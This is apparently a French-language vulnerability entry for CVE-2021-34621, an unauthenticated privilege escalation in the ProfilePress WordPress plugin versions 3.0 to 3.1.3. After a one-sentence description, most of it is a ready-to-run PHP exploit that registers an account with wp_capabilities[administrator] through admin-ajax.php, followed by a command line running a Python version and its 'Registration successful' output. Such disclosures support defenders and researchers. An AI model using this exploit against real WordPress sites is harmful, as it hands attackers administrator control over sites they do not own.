
ProfilePress 3.0 - 3.1.3 - Escalade de privilèges non authentifiée
ProfilePress 3.0 - 3.1.3 - Élévation de privilèges non authentifiée
La fonctionnalité d'enregistrement des utilisateurs du plugin permettait de fournir des métadonnées utilisateur arbitraires, y compris wp_capabilities, lors de l'inscription, ce qui permettait aux utilisateurs de s'enregistrer en tant qu'administrateur.
<?php
// Settings
$wp_url = $argv[1];
// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'reg_username' => 'Hax0r',
'reg_email' => '[email protected]',
'reg_password' => 'password',
'reg_password_present' => 'true',
'reg_first_name' => 'Hax0r',
'reg_last_name' => 'Hax0r',
'wp_capabilities[administrator]' => '1',
'action' => 'pp_ajax_signup',
'melange_id' => ''
]);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
$ python3 CVE-2021-34621.py --url http://wordpress.lan --username test2 --email [email protected] --password test
{"message":"<div class=\"profilepress-reg-status success\">Registration successful.<\/div>"}